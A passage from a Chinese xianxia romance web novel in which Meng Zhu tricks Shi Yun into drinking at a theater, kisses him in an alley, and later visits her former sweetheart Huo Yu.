施允不说话,他就那么静静地向后靠坐着,头向上仰着,看不见表情。 韩韬也不急,从桌案上拿了个果子,咔嚓咔嚓地啃着。 “你好吵。” “那我走?”韩韬又咬了一口,嘴里鼓起一块,说话也不甚清晰。 静了一瞬,施允搭在身侧的手动了动,搭在了自己的额头上,“不是我……” “我有一个朋友……” 韩韬被果子噎了一下,呛咳了两声,忙用茶水顺了顺,“你还有朋友啊?” 一只果子砸了过来,韩韬没躲,伸手一接,在衣服上擦了两下,顺手啃了起来,“谢谢,接着说接着说。” “有个姑娘说她曾经有个心上人,这个心上人之前离开了,现在又忽然出现了。” “所以?” “所以,那个姑娘的心上人又想要同她重修旧好。”说着,他搭在额头上的手忽然放下来,眼睛睁着,一动不动。 韩韬嚼着果子,“嗯,然后呢,这跟你朋友有什么关系?” “那个姑娘……”施允的话音一顿,似乎难以启齿似的:“她……亲了我的这个朋友。” “啊?!”韩韬嘴里的果子掉在地上。 韩韬瞪大眼:“什么意思,这姑娘到底喜欢谁啊,她答应要嫁给那个心上人了吗?” “她没好,也没说不好,我不知道。” 深吸一口气,韩韬忧愁地看了施允一眼,“这姑娘什么意思啊,难不成是要享齐人之福?” “你可别被人家当傻子耍。” 施允一下子坐起身:“你是说,她想让我的朋友做她的姘夫?” 他的脸色一寸寸冷下来,道:“绝无可能。” 韩韬摸着下巴,思索片刻,又道:“听说凡界有些地方是有这样一女二夫的情况,说不准那个姑娘也是来自那个地方?” 施允冷笑一声,“我管她是哪个地方来的,要做,也只能做正房。” 韩韬:“……” 他叹口气,“你既然这么好奇,为什么不直接问问她对你……你那个朋友是什么想法?” 施允捡了个果子,在手心里捏着,“不问。” 他曾经问过的,孟竹那时的眼神,他到今天还记得。 太卑微了。 这样试探着想要递出一颗心,又被无情扔在地上的感觉。 他怎可能容忍自己这样被人戏弄? 他凭何为她垂首俯身? 若是再来一次,到那时,他又该如何自处? “说了半天,那你……你那个朋友是怎么想的,他对那姑娘什么看法?” 施允忽然又安静下来,眼睫低垂着,不说话。 “说说看啊。” 窗外的鸟雀不知何时又飞了回来,站在枝头吵闹。 “不知道。”施允复又抬起眼来,看向窗外。 “子修……我不知道。”他伸手按向自己的心口,眉眼间出现了罕见的迷茫。 “有时候,他很讨厌那个姑娘,感觉她做什么都不好,都不对,看见她就只觉得扎心刺眼。” “有时候,又觉得,只有在她面前,他才是他。” 施允说着,又想起与孟竹分开的那段时光,他偶然间寻得了一片桐花林,就那么坐在繁茂的花树下,一日又一日。 从晨起到黄昏,从日出到日落。 他不应当觉得寂寞,毕竟他从来都是一个人,这样的日子,他早就习惯了。 施允的指尖搭在自己的眼下,似又感受到了那片温热的触感。 “我真的不懂。” “我该如何是好?”- 坐在湖畔,孟竹百无聊赖地打着水漂,湖面荡起涟漪,伴随着清透的回响。 自从千机城回来以后,玉都学府便停了课,每个人都安心准备着仙门大比,日子重新陷入平静。 这些时日以来,施允一次也没再来过学府,仿佛人间失踪了一般。 孟竹忽然意识到,只要施允不想,那便没有人能见到他。 他随心所欲,想来就来,想走就走。 可若是他愿意,施允总能找到她。 他们之间保持着一种微妙的平衡,像是拉住绳索的两端,你进我退,你攻我守,谁也不肯轻易低头。 她抛着手心的石头,将最后一颗投入湖里,站起身离开。 穿过熟悉的院落,孟竹来到明非长老的住处,这里清幽雅静,鲜有人来,因此孟竹一进门,便有仙鹤仰首鸣叫了几声。 明非坐在院中,听到孟竹的脚步声,也没抬眼,依旧自顾自摆弄着自己手中的物件。 孟竹坐在他身旁,静静地看着。 过了片刻,他伸手摸向一旁,似乎是想找什么东西,视线内恰好伸出一只手,将零件递给了他。 明非抬眼:“你倒是机灵。” 孟竹将那日从千机城内带出来的剑石递给明非,“还请长老帮我看看,这剑石如何?” 明非伸手接过,拿在手中端详片刻,忽然道:“这是你从千机城内带出来的?” 孟竹点头。 “不应该啊……”明非喃喃自语,看了又看,“千机城内怎么会有残荒之石?” “这是何物?” 明非嗯了一声,继续道:“相传上古时期,混沌初开,天塌地陷,洪水再临,神祖为了阻挡天地浩劫,炼就了天荒渡,最后这件天荒渡碎裂成五份遗失在世,便唤做残荒之石,这个纹路和色泽,看起来倒是和古书记载中记录的有一部分相符。” 孟竹不由惊讶道:“那这残荒之石岂不是厉害非常?” 明非淡笑一声,又将那颗剑石递给孟竹,“非也。” “只是古书中记载了此物的模样,却并没说得那么神乎其神,再说了,古书乃是人为编撰,天荒渡这种东西是真是假都不一定,都只是一个传说,我方才看了一下,不过是块比寻常剑石资质好一些的普通石头罢了。” “此物只是有一部分同古书中记载的模样一致,又不代表这是真的,况且……”明非摇摇头,“确实没什么特别之处。” 孟竹掂了掂那块石头,有些失去兴趣了,不过她正好缺个剑石嵌在她的匕首上,那把施允在尸魁洞中送给她的,确实是把趁手的好刀。 明非说完,又低下头忙了起来。 孟竹坐在他身旁,思考了一阵,琢磨着将那颗石头融进了匕首里,明非偶尔抬眼看看,会出言指导两句。 一段时间后,匕首上亮起一阵灼目的微光,光华淡去后,孟竹拿在手里看了看,凌空挥向一旁,远处的竹林应声断裂了一片。 明非看着那片断裂的竹林,目光中含着一丝赞赏,嘴上却道:“在我府内闹事,胆子很大。” 孟竹将匕首收起,将手上的乾坤戒摘了下来放在桌上,道:“是学生不对,这个就当给老师赔礼了。” 看着那枚乾坤戒,明非忽然道:“这不是……” 没等明非说完,孟竹行了一礼,“我还有事,就不打扰老师了。” 说完,她没管身后明非嘀嘀咕咕的话语,径直出了明非的园子。 外面天色已是傍晚,孟竹出了学府,在玉都城内闲逛,她主要逛了几家首饰铺子,买了许多她平时不怎么戴的钗环首饰,又去了几家成衣铺子,再出来时,已经换了一副装束,是和平常截然不同的模样。 接着,孟竹又去了胭脂铺,在老板的热情推荐下,买了一匣子各式各样的口脂,之前施允留在乾坤戒里的财物,孟竹只取了一小部分放在自己的芥子袋里,没成想这些就已经足够让她在玉都城内买下诸多昂贵的东西。 因为出手大方,胭脂店的老板娘还帮着孟竹化了个时兴的妆容,又为她挽了发,最后为孟竹带上一只发钗,她满意地看着镜子里的孟竹,夸赞道:“出水芙蓉,清婉佳人,姑娘当真是漂亮极了。” 孟竹扶了扶自己的发鬓,抬眼看向镜子中的自己,完全不同寻常的装束,既有些陌生,又有些微妙的欢愉。 出了胭脂铺,已经入夜了,满城的灯火亮起,照得花影重重,这座华丽的城即使在夜晚还是熠熠生辉。 孟竹提着一盏灯,慢慢走在街上,晚风轻轻地吹过,吹动她钗环上坠着的流苏。 人影绰绰,经过身旁的人有许多,可每一个都是面目模糊的样子。 在那灯火的尽头,满城的星光忽然黯淡,都落进了那双看向她的眼眸。 孟竹抬手将面颊旁的一丝碎发别至耳后,隔着漫天的灯火,凝望着那人群中唯一清晰的脸。 你看,她都说了。 他总能找到她。 无论在哪里,无论在什么时候。 第39章 我这样,好不好看? 孟竹移开视线,提着那盏灯进了戏园。 玉都城内的生活同凡界没什么不同,衣食住行,戏玩杂耍,一应俱全,学府授予他们基本的修行方式和技巧,结束后,才是真正要各凭本事在仙洲生存下来的时候。 戏园内的灯影微暗,照得草木幽深,但人影交错间,宴饮之声不断,倒是热闹。 戏台上的人正唱着曲,轻柔婉转的曲调悠悠传来,隔着一帘朱红的幕布,台下落错布了一些食案,孟竹寻了一个不错的位置坐下来。 叫了几壶温酒,孟竹一边听戏,一边浅浅啜饮着。 孟竹的视线自进入戏园起,就一直专注地看着台上,每当一曲落幕,她便饮下一杯酒。 昏黄的灯影下,孟竹的面庞沉静温婉,她穿着一袭月白的长裙,云鬓半挽,发上斜斜插着一只珠钗,唇上抹了淡红的口脂,细长的眉眼被仔细描摹,垂首抬眸间,无端生出一种别样的风情。 “姑娘,为何独自一人?”身边有声音传来,孟竹放下酒杯,抬眼看他。 是一个面目俊朗的男修。 他已经观察孟竹很久了,这戏园内很多人都是呼朋引伴,身边好不热闹,酒过三巡,依然看她一个人独自坐在暗处饮酒,这才借着酒劲过来搭讪。 孟竹转动手中的酒杯,浅笑着问他:“一起吗?” 男修白皙的面庞微红,似乎有些惊讶于孟竹的回应:“啊,当然好。” 他正要坐下,便听到一道声音传来,“这是我的位置。” “这……”他看向身后站着的那人,视线撞上。 那双眼眸微暗,看人的时候,让他莫名地心生怯意。 孟竹冲他笑笑,端起酒杯道:“抱歉,我的……恩人来了,敬你一杯,下次有机会再聊。” 男修连忙笑笑,“没事没事,姑娘风姿绰约,自然有的是朋友,怪我多管闲事了。” 说完,忙不迭离开了。 孟竹手腕一转,将酒杯送至唇边,微凉的杯口刚碰到,她的手腕便被攥住。 施允倾身,面无表情地将那杯酒夺去,“你别喝了。” “为什么?”孟竹抬眸,盯着他的眼睛,就着他的手将那杯酒饮下。 施允的手一松,酒杯落在桌面,发出清脆的碰撞声,杯底的酒液倾洒,顺着桌边滑落。 “坐下吧。”孟竹道,“陪我听场戏。” 施允在她身旁坐了下来。 孟竹看着台上,戏看了那么多场,慢悠悠的唱腔诉说着不同的故事。 台上正演到少年壮志,一腔热血报国却被奸佞所害,曲调凄婉,声声泣泪。 没一会儿,又唱到少年身处绝境,在漫天黄沙中遇见了一个人,那人知道他的抱负,理解他的苦难,引领他一步步走出绝望。 他们顺理成章地相爱,从少年到青年,少年终于实现了报负,垂垂老矣之后,携手回望这一生。 戏文中的故事多是如此,总有人生来不如意,世间悲欢离合多是如此,又想要强加一个美好的愿景,于是,总有人被塑造成拯救者,仿佛只要这个人出现,所有的问题都能迎刃而解,所有的苦难都能被瓦解。 可是当真如此吗? 戏曲落幕,孟竹看向施允,“你觉得这戏如何?” 灯影下,施允的侧脸半明半暗,“无趣。” 孟竹将桌上的另一只酒杯递给施允,随口问了一句:“来一杯?” 施允一只腿支起随意坐着,闻言,搭在膝上的手指动了动,下一秒,伸手将那酒杯接了过来。 酒杯被孟竹斟满,施允垂眸看着清透的酒液,沉默地一饮而尽。 饮酒的间隙,孟竹继续说道:“我也觉得无趣。” 戏台上已经谢幕,耳边只剩下了觥筹交错的宴饮声,没人在意台上演了什么,这样的故事,转眼就被人遗忘至脑后。 悦耳的丝竹声响起,又是另一种悠扬的曲调。 孟竹听着,手指轻轻擦过酒杯的边缘:“以为从云端伸出一只手,就能把人拉出黑暗,高高在上地俯视众生,自以为悲悯。” “可世上本来就没有真正的感同身受。”孟竹说着,仰头将杯中酒饮下,拇指擦去*唇上残留的酒液。 “我却觉得,只有将那只悬在云端的手拽下来,痛我所痛,苦我所苦,这样才畅快。” 施允转头看她,目光微闪,“你这么想?” 孟竹一手托腮,手指有一搭没一搭地划着杯口,“或许呢,你就当我醉了吧。” 她转移了话题,“你来这做什么?” 施允的酒杯空了,孟竹为他斟满,他顺着孟竹的视线将酒饮下。 沉默了一瞬,他的脸颊上因为酒意染上一层薄红,开口问道:“为什么将乾坤戒送人了?” “啊……”孟竹笑笑,似乎有些羞涩道:“在我的家乡,只有成亲了才会收别人的戒指,我不想让别人误会。” 施允执杯的手一紧,指骨微微泛白,偏头看着孟竹,打量着她今晚的这一身装束。 “所以,你今天打扮成这样,是为了取悦你的心上人?” 孟竹低下头看看自己的衣裙,又扶了扶自己的发鬓,声音似乎有些压不住地雀跃:“也不知道他喜不喜欢……” 她扯了扯施允的袖角,轻声问他:“施允,你说我这样,好不好看?” 她的眼中含着期冀,眸光流转。 施允的喉结轻轻一滚,半晌,薄唇一扯,视线移开,声音带着冷意:“很丑。” 孟竹松开他的袖角,有些低落道:“这样啊……” 她唇上的口脂有些晕开了,薄薄的一层,泛着点微亮的水光,孟竹正要伸手去擦,唇畔却忽然传来微凉的触感。 孟竹的下巴被微凉的手指捏住,渐渐往上抬。 施允手上的力道有些重,捏得她有些疼。 施允伸手,拇指在她的下唇上用力地摩擦了一下,他的眼眸盯着那一处薄红,唇紧抿着,脸上的神情像是厌恶,又像是烦躁。 孟竹依着他的动作,任由施允的指腹用力在她唇上来回擦拭,直到那些口脂被他全部抹去。 这样盛装打扮的孟竹,他不喜欢。 孟竹穿着这样的衣裳,对着铜镜描眉梳妆时,想着那个人的样子,他不喜欢。 他不喜饮酒,却在她的视线中饮了一杯又一杯。 他不喜欢这样失控的感觉,却总觉得有一双无形的手推着他,让他一步步泥足深陷。 他讨厌孟竹,更讨厌她那双含着期冀的眼睛。 “我厌恶你。”施允的声音沙哑,陈述着这个他确认了无数遍的事实。 指尖猛地一疼,他看见孟竹张嘴咬住了他的手指。 不算轻的一口,施允收回手,看着拇指上微微沁血的牙印。 孟竹的唇有些红肿,她用手背探了探唇上灼热的温度,“厌恶便厌恶吧,没指望你的喜欢。” “你指望那个人喜欢你?”他将手指藏入袖间,感受那带着麻痒的疼。 孟竹盯着他不说话。 “你就这么上赶着让他作践你?”他真的不明白,为何孟竹要回头,要喜欢这样一个一无是处,背弃她离开的人。 施允的语气平静,带着淡淡的嘲弄。 孟竹望着他半晌,忽然轻笑了一下。 “你笑什么?” 孟竹淡笑着问他:“知道你现在看起来像什么吗?” 施允的视线在不知不觉间渐渐模糊,因为酒意,脑中的思索也变得比平常迟钝许多。 “……什么?” “一个可怜的妒夫。” “可笑。”施允很快否认,“我嫉妒什么?” 孟竹不紧不慢地晃着手中的酒杯,并不回答。 他的视线定格在孟竹的脸上,又向下滑落,看向孟竹手中的酒杯,脑海中下意识地觉得有什么不太对。 施允皱了皱眉,意识有些朦胧,“你怎么……” 孟竹冲他扬了扬手中的酒杯,“我怎么没醉?” 孟竹的酒量不大,之前就见识过一次,而他虽然不喜饮酒,但修为到了一定境界,普通的酒根本没那么容易让他醉。 除非…… 孟竹将酒壶打开,指尖在瓶口轻轻拨弄了一下,递到施允跟前。 瓶口内设计了一道机关,银片轻轻一拨,巧妙地将瓶中的液体一分为二。 一半是酒,一半是水。 施允一手撑着桌案,缓慢地看向那双狡黠的眼睛。 骗子。 她总是在骗他。 孟竹拉起施允,手心向下,自然而然地牵住了他的手,她拉着人往外走。 施允只在最初挣扎了两下,又默不作声地安静下来。 他看着前方的背影,手指不动声色地滑下来,扣住了孟竹的手心。 就这样吧。 他只是醉了。 他不清醒了,所以做什么都不是他的本意。 孟竹拉着人一路出了戏园,进了一条僻静的小巷,尽头是一堵墙,她把手松开,看着因为醉意慵懒靠在墙边的施允。 他的视线自上而下看着孟竹,脸上的薄红晕开,一路染红了他的眼尾。 夜深了,只有偶尔几道脚步声传来,又渐行渐远。 孟竹迎着施允的视线,问:“每次骗你,你都来吗?” 忘了有多少次,施允信了她信口胡诌的谎言。 施允并不说话,只是那么安静地盯着孟竹,他站在唯一的一束月光下,皮肤透出冷白的光泽,眼内流光千回百转,勾勾绕绕。 她带他来这里是想做什么来着? 被施允这么一看,孟竹就忘了来时的目的。 算了,不重要了。 太高看她了,真的把持不住。 下一秒,孟竹抬手,按着他的后颈往下压。 施允顺从地低下头,视线始终追逐着孟竹的唇,他身上那股熟悉的香如同浪潮一样细细密密,席卷而来。 唇畔若即若离,在呼吸变得越来越灼热之前。 孟竹看着施允的眼睛,轻声道:“听说亲吻时,人脑中会释放一种多巴胺,你好奇这是种什么感觉吗?” 她的拇指轻轻擦过施允的唇,孟竹听到耳畔压抑的喘息,“……何为多巴胺?” 孟竹笑了一下。 “我的意思是,我很好奇这种感觉。” “你也想知道吗?” 第40章 招惹 灼热的呼吸纠缠着,难舍难分。 施允望着那若即若离的唇,只觉得心口酸酸涨涨,被孟竹的声音激得耳后发烫。 她总是在说奇怪的话。 他听不懂,却始终被吸引着,追逐着那看向他的一缕光。 胸口饱胀地几乎说不出话来,一双眼睛落在孟竹的唇上,看了又看。 好一会儿,施允才哑着嗓音开口。 “……想。” 话音一落,孟竹的唇便贴上来,柔软的触感一瞬间让他头皮一紧,浑身难以克制地颤栗。 孟竹吻得很浅,一下一下地,轻轻啄吻着,若即若离,浅尝辄止。 在最初的那股颤栗过去以后,这样浅浅的吻,让他莫名有些痛苦。 不够。 还不够。 想再多一点。 至于是什么?他还不知道。 可孟竹已经在亲吻他了,为何他还是如此焦躁难安? 施允的眼睫轻颤,满溢的泪水顺着湿热的眼眶滑落下来。 孟竹的动作一顿,有些诧异地停住,稍稍分开些距离,打量着施允的脸。 这一眼,让孟竹不由自主地屏住了呼吸。 施允靠在墙上,月光照在他泛红的脸上,乌发散乱,薄唇湿红,那双眼睛水色潋滟,眼角眉梢间的春情涌动。 他却一副一无所知的模样。 后来孟竹时常回想起在这个暗巷中施允看过来的这一眼,在漫长的时光中,所有回忆都会被冲刷得黯然失色,唯有这一眼,像是一副艳丽的、永不褪色的画卷,足够她撑过好多好多年。 不是初见时看着她张扬不羁的样子,不是大雨中的眉眼朦胧的样子,不是任何惊心动魄的回忆。 而是此刻,那双完完全全,看着她的,只属于她的。 因她而动情的眼。 “你怎么了?”孟竹问。 她看着施允有些迷茫地抚上自己的心口,手指抓着自己的衣襟用力地攥着,喃喃着:“不舒服。” 孟竹叹息一声,拉住他的手,问,“哪里不舒服?” “……这里。”施允将孟竹的手放在自己的心上,泪水又落下来,“这里难受。” 他抬起眼眸,目光中是真切的疑惑:“为何如此?” 施允思索了一番,得出了结论:“你对我下了药?” 孟竹不由好笑,她摇摇头,道:“我没有。” “施允,有些事情,你得自己去想,想明白了,就通了。” 她双手捧着施允的脸,“不过……我可以帮你。” 孟竹含住他的唇,一寸寸地咬,手指绕到他的脖颈后,轻轻地捏了一下,说:“张嘴。” 施允半睁着一双眼,视线又落到孟竹发间的珠钗上。 他抬手,指尖微动,孟竹一头青丝忽然如流水似的散开,簪子被施允随意扔到了地上。 孟竹看也没看一眼,手指缓缓插_入施允柔软的发间,指节在墨发中肆意勾弄,牵扯得凌乱不堪。 她揉弄着,拉扯着,纵情地吻他。 这一次的吻,带着强烈的进攻性,一寸寸攻城掠地,施允被动地承受着这个吻,垂在身侧的指尖扣着身后的砖墙,眼角的泪水不受控制地滑下来。 呼吸比任何时候都要灼热,施允听见自己的心跳声,剧烈地鼓动着。 那颗焦躁的心又像是被一双手无形地安抚着,揉捏着,满胀又酸痛。 良久,孟竹松开了他。 施允靠着墙,平复着剧烈的喘息,等到那股令人头皮发麻的余韵过去以后,他才抬眼看向孟竹。 她站在暗色的阴影中,同他狼狈的模样不同,像平静的,毫无波澜的湖面。 乱跳的心渐渐冷了下来,酒意散了大半,他又想起了孟竹的那个心上人。 她不喜欢他。 孟竹只是在戏弄他。 “你为何要亲我?”他冷下脸来质问孟竹。 孟竹被他问得愣了一下。 得,这是亲完就转脸不认人了。 孟竹慢条斯理地整了整略显凌乱的衣裙,道:“友好学习交流一下,看看将来成亲时,能不能派上用场啊。” 施允看着她的动作,视线又落到孟竹的唇上,“你既然想要嫁予他,又同别的男子这样亲密,这是何道理?” “是这样。”孟竹解释道:“成年人之间,气氛到了,情绪到了,亲一下,也不是什么大不了的事,很正常。” “很正常?” “嗯。”孟竹点头,“当然,太正常了。” 施允听着这对他来说惊世骇俗的言论,好半天,都没缓过神。 孟竹没管他,继续道:“在我的家乡,姑娘们能自由选择想要成亲的对象,当然,在成亲之前,还会仔细地挑选考察,如果这个人不行,就再换一个,有时候从好几个男子里面挑一挑,感觉对了,就见见面,牵牵手,亲一亲,感觉到了就成亲,正常,都很正常。” 施允想象着孟竹从好些男子中挑挑拣拣的模样,一瞬间觉得气血攻心,头晕目眩,咬牙切齿道:“我竟不知,你是这般水性杨花的女人。” “啧。”孟竹不赞同道:“讲话真难听,这叫自由恋爱。” “再说了,碍着你了?” 施允看着孟竹若无其事的脸,忽然道:“你果然令人生厌。” 闻言,孟竹沉默了一瞬,又笑起来,她往前一步,脚尖抵住施允的,倾身靠近:“好啊,那我以后就不抱你,不碰你,也不会亲你,看见你就离你远一点,不碍你的眼。” 这颗充满瑕疵的心,纵然恶劣,纵然卑鄙。 这场角力的游戏,她会胜到最后。 “我是怎样的人,我已经清清楚楚地告诉过你,从今天起,你要用你的眼睛来看,用你的心去想,在你想明白为何这么讨厌我之前,我保证再不来招惹你。” 施允薄唇紧抿着,无声地同她对视。 孟竹不闪不避,她的眼神犹如一把利刃,直直插-进他的心里,仿佛要将那颗心生生掏出来,捅得千疮百孔。 半晌,施允启唇,“你最好说到做到。” 孟竹直起身,往后退了一步,淡笑着点头,“好。” 暗巷里回荡着两人的声音,被夜风轻轻吹散。 月亮西沉,朝阳又起,那些难以言喻的心事,都随着月亮一同沉睡。 日子在准备仙门大比的时光中不知不觉过得很快,孟竹找了个安静的地方练习术法,每天早出晚归的,偶然有一天,她在后山的一个小树林里捡到了一只受伤的猫,猫儿生得通体雪白,有一双水光潋滟的眼睛,极为招人喜爱,孟竹便把它抱了回去,养在了自己的院子里。 这日,猫儿的药物用完了,孟竹去丹药阁要了几味药材,打算回去配给她的小宠物吃,进门的时候,却碰到了吕一。 说起来也甚是奇怪,明明同在玉都学府,两人的交情还算不错,可是她们这些时日却一次也没碰到过。 见到孟竹,吕一先是愣了一下,然后才冲着孟竹打了个招呼,“好巧。” 孟竹点了下头,眼神落到吕一手中拿着的玉瓶上,“你受伤了?” 闻言,吕一摇了摇头,“不是,我帮……霍予来取一点治伤的药。” 孟竹挑了挑眉,有些意外道:“你什么时候同霍予这么熟了,还要帮他来取药?” “嗯……说来话长。”吕一将玉瓶收到怀里,又问孟竹:“你呢?取药做什么?” 吕一显然不想同自己聊起关于她和霍予的话题,孟竹也不在意,笑道:“最近养了只小猫,受了点小伤。” “养猫?”吕一哭笑不得:“大家都在准备着在仙门大比上取得一个好名次,你倒是悠闲。” “取得好名次,然后呢?”孟竹道,“升仙,或者制霸天下,变成一个人人敬仰的神仙?” 吕一:“倒也不是,人总是要有个目标为之努力,不然为什么活着?” 孟竹沉默了一瞬,忽然问道:“所以没有目标,就这么漫无目的地活着,不行么?” 仔细想想,人人都有自己想做的事,想要达成的目标,唯有自己,她不知道自己想要什么,从前随波逐流地上学,取得好成绩,考上了大学,如果顺利,她会找一份工作,和霍予两个人过着平凡而简单的生活,未来什么模样,她一眼就看到了头。 直到这一切戛然而止以后,她才发现,好像原来曾经的一切都是那么寡淡而无趣。 雄心壮志啊……这种东西,好像真的同她毫不相干。 吕一被孟竹的话问得愣了一下,而后,像是玩笑,又像是认真地说道:“孟竹,你知不知道,有时候你真的挺奇怪的,年纪轻轻就超越了同龄人,人人想要的东西,你唾手可得,你有没有想过,倘若有一天失去了这一切,你又当如何呢?” “到那个时候,你就知道为何人们总是在争在抢,你就是过得太顺了,才这样毫无欲望。” “或许吧。”孟竹抬眼看着吕一,“若真有这一天,也挺不错的。” 最起码不会这么无趣。 吕一笑了笑,视线落在孟竹的手背上,上面有一道明显的抓痕,她下巴抬了抬,转移了话题,“这是你那小猫抓的?” 孟竹顺着她的视线低下头看了眼,手指轻轻摩挲着那道伤口,“嗯,小猫就是这样,脾气大,不能对它太好,也不能给它吃太饱,否则它就翻脸不认人了。” “这样的猫,养来何用?” 孟竹思索了下,“大概是因为,我喜欢慢慢驯服它的过程吧。” “你慢慢对它好,给它温情和爱,甚至对它予取予求,它便会对你放松警惕,顺从你依赖你,等到它发现你不是那么温和的主人,想要抽身而退的那一天,才会发现自己的脖子上早就被戴上了项圈。” 孟竹笑道,“你看,这是多么有趣的事情啊。” 看着孟竹的笑容,吕一皱了皱眉,莫名有些不适,她干笑着应了一声:“有趣么?” “嗯。”孟竹笑得眉眼弯弯,“有趣极了。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 不好 孟竹和吕一出了丹药阁,在岔路口,吕一忽然道:“你要不要去看下霍予?” “看他?”孟竹的脚步一顿,“为什么?” “你是真不知道还是假不知道?”吕一偏头看她,“他很在乎你。” “与我何干。” 孟竹轻笑了一声,上下打量着吕一,忽然道:“怎么?你也要来对我说教?” 吕一怔了怔,抿着唇沉默。 孟竹不再理会她,继续往前走。 “我并非对你说教。”吕一的声音自她身后响起,“只是,你不觉得你做得有些极端么?” “极端?”孟竹停住脚步,回过头看她。 自她和吕一认识以来,吕一从来不是一个爱管闲事之人,她几乎从不多问关于她的私事,因此,孟竹才觉得和她相处格外舒服些。 现在显然,有什么东西,悄悄地改变了。 在她不知道的时候。 孟竹盯着吕一的脸,默不作声地观察着,她是偏冷硬的长相,面上的表情平常很少,冷脸的时候看起来不近人情,说起来,她们性情倒有几分相似,但此时此刻,孟竹清楚地看到那冷硬的线条柔和了许多,眉眼间不似从前飒爽干脆,多了一丝忧愁。 吕一深吸了口气,盯着孟竹道:“我听说,你在千机城的时候趁他伤重,就想要把他丢在那里?” “他是这么跟你说的?” 吕一很快否认,又道:“他从不说你坏话,是我自己猜的,你不能因为他离开了你一次就这样对他,他也有苦衷,他……” “打住。”孟竹有些好笑道,“他给你下什么迷魂药了?” “你胡说什么?”吕一皱眉,“他是个很可怜的人,你不要伤害他了。” “你就是这样爱也极端,恨也极端的人么?” 啊,果然如此。 总有人觉得自己可以拉起那些陷在烂泥里的人,只要稍稍示弱,他们就会向你投来怜悯的目光,伸出他们高高在上的手,说要来拯救你。 孟竹转身,重新走到吕一面前,“你的正义感,真让我觉得卑微。” 她的语气带着一丝好奇,问道:“可是你知不知道,你觉得可怜的人,或许有一天会变成面目可憎的猛兽,一口咬住你的脖颈,将你的血吸得干干净净啊?” 吕一退了两步,被孟竹的语气逼问得有些不适,她正色道:“你不要乱说,他不是这样的人,再说了,我并非为他说话,同伴之间互相帮助,本就是应该的。” 孟竹垂着眼眸,忽然笑了一下,然后点了点头,道:“好吧,既然如此,那我便去看看他。” “否则,我良心难安。”孟竹问,“是不是?” “带路吧。” 随着吕一穿行在偌大的玉都学府中,孟竹才发现,所有其他学府的人都被安置在了学府的西南角,这里她从未来过,和她住的院子隔了很远,是两个对角。 还未走到霍予住的庭院门口,便听到里面一阵阵的欢笑声,似乎有很多人,极为热闹的样子。 吕一看着门口,眼神闪烁了一下,将怀中的玉瓶递给孟竹,“你进去吧,我就不去了。” “真不进去了?”孟竹伸手接过。 “嗯。”吕一不再多言,转身走了。 进了霍予的院子,孟竹才发现院落中或站或坐,有十余人,几乎要将这方小小的庭院占满了。 霍予坐在石桌旁,有一人端着汤药正在往他嘴里送,嘴里还念着:“快喝快喝,不然凉了。” 他笑着闪躲,一手轻轻往外推着,“好苦,我才不要喝。” 其余的人笑着打趣,“霍予,男子汉大丈夫,还怕这点苦不成。” “快点好起来,你这么厉害,可要在仙门大比上拿个好名次。” 霍予抵着鼻尖轻咳了一声,阳光落在他的眉眼上,显出几分苍白脆弱的模样。 “哪有你们说得那么厉害,都是大家让着我。” 他垂眸,似乎又想到了什么,修长的指执着茶杯,轻轻同端着汤药的那人碰了碰,瓷器碰撞带来清脆的响声,“以茶代药,且饶了我吧。” 欢笑声一阵阵响了起来。 “那怎么行,还是得喝药。” “就是,别以为卖惨我们就能放任你不关心自己的身体。” 霍予牵唇浅笑,点着桌上一个银匣子,道:“玉都少主赏下来的灵药,我也用不上,大家都分了吧。” 众人的眼睛亮了亮,有人道:“这怎么行,都是你的东西,我们怎么好意思要?” “无事。”霍予笑道,“我自把大家当成珍重的朋友,有什么不能分给大家的?” “那我们便不客气了。” “霍予,你小子真是够仗义,不愧是兄弟。” 孟竹靠在院门口,静静地看着,也不出声。 她觉得奇怪。 这样长袖善舞,八面玲珑的模样,孟竹从未见过。 今日这样远远看着,孟竹又觉得,他似乎又不像是从前自己认识的那个人。 忽然,似有所察一般,霍予朝着孟竹看过来。 霍予唇角的笑容加深,阳光跃动在他的眼里,分外明朗。 他偏了偏头,扬声道:“小竹来了。” 随着霍予的声音,数道视线落在了孟竹的身上,她在这些视线中直起了身子,“好像我来得不是时候。” 那些笑意忽然凝住,所有人都下意识地去看霍予。 他起身朝着孟竹走过来,带一如即往的灿笑:“怎么会?你来看我,我超级开心诶。” 熟悉的语气,熟悉的笑容,仿佛那些隔阂从不曾存在过。 霍予好像总是有一种将所有事都轻拿轻放的本事,以退为进,叫人不忍苛责他半分。 众人看着霍予,收回了那些或是探究、或是不善的打量,变成了毫不掩饰的揶揄和打趣。 “哎呀,霍予的心上人来咯。” “哈哈哈哈,说是新娘子呢,是不是?” 他们互相对视一眼,其中有人上前来拍了拍霍予的肩,对着霍予挤眉弄眼,“既如此,我们便先走了啊。” 离开之前,孟竹认出其中有两个就是那天在千机城和她有过口角的人,那人对着孟竹笑了笑,抱拳道:“之前多有得罪,还请姑娘不要介意。” “对呀,霍予的朋友就是我们的朋友,之前确实抱歉了。” “是我们关心则乱,口不择言了。” 孟竹听着那一句句道歉,既不应声,也不为所动,只是站在原处,似笑非笑地看着。 这些人面面相觑,看着孟竹的脸色,摸了摸鼻子,一行人很快就走远了。 庭院中重新恢复安静,风吹动院中的草木,带来沙沙的回响。 霍予伸手来牵孟竹的手,孟竹退了一步,避开了。 他也不甚在意,对着孟竹道:“进来坐坐吧。” 孟竹跟着他进了屋子,在屋内简单地环视了一圈,屋子并不大,窗户半支着,临窗的书案上置着笔墨纸砚,笔尖的墨汁未干,放在砚台上,风吹起画纸的一角,看不到全貌。 “现在的生活比在杨柳村的时候好多了,是不是?”霍予倒了杯茶,坐在桌边,将那杯茶推给孟竹。 孟竹看着那茶杯,没说话。 隔着热茶升腾的雾气,霍予的视线落在孟竹的手上,那双手白皙修长,只有指腹上淡淡一层薄茧,“你的手上也没有那些碍眼的冻疮和疤痕了。” 他笑了笑,又道:“我知道你怪我当时抛弃你离你而去,但是,我不后悔。” “你也知道,若是不抓住那个机会,我们一辈子都会在那个穷地方,怎么也出不去,我原本想着,我先离开,一找到机会我就接你来仙洲。”霍予的笑容平添几分落寞,“可我还是没想到,你会不等我,自己一个人离开。” “啰里八嗦一大堆。”孟竹抬眼,“到底想干嘛?” “干嘛,聊个天而已。”霍予服软似的,“非要对我这么凶?” “我要哭了。” 他的嘴角微微向下压,做出一个有些可怜的表情,“骂也骂了,伤我也受了,能不能不生我气了?” 